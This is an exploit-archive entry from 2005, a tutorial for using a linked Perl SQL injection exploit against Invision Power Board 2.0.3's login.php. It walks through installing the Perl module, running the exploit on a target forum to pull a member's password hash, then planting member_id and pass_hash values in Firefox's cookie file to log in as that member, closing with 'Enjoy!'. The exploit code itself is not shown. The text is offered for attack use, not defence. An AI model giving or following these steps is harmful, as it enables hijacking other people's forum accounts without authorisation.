[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Invision Power Board <= 2.0.3 Login.PHP SQL Injection (tutorial)
# Published : 2005-05-27
# Author : Danica Jones
# Previous Title : phpStat <= 1.5 (setup.php) Authentication Bypass Exploit (php 2)
# Next Title : Hosting Controller <= 0.6.1 Unauthenticated User Registeration (3rd)
# danica jones <danica6699@gmail.com>
Tutorial for the recent exploit released by Petey Beege.
1. Get the exploit from http://www.milw0rm.com/id.php?id=1013
2. Make sure you have LWP::UserAgent perl module if not do this:
a. perl -MCPAN -e 'shell'
b. inside the perl shell, do this 'install LWP::UserAgent'
3. Run the exploit. Get the password hash for the desired login id
ex. inv.pl http://forums.elitesite.com 2 2
Where 2 is the login id and 2 for version 2 of IPB.
4. Open wordpad. Edit Mozilla Firefox's cookie file. Mine is located at
C:Documents and Settingsthe1Application DataMozillaFirefoxProfilesvspyhjb9.defaultcookies.txt"
Add the following entries:
forums.elitesite.com FALSE / FALSE 1148708747 member_id 1
forums.elitesite.com FALSE / FALSE 1148708747 pass_hash ecb735f70028a9cdb819828f4aced78c
Notice the value of member_id and pass_hash taken from the values
generated by the exploit.
5. Fire up Mozilla Firefox and login to http://forums.elitesite.com
Enjoy!
# www.Syue.com [2005-05-27]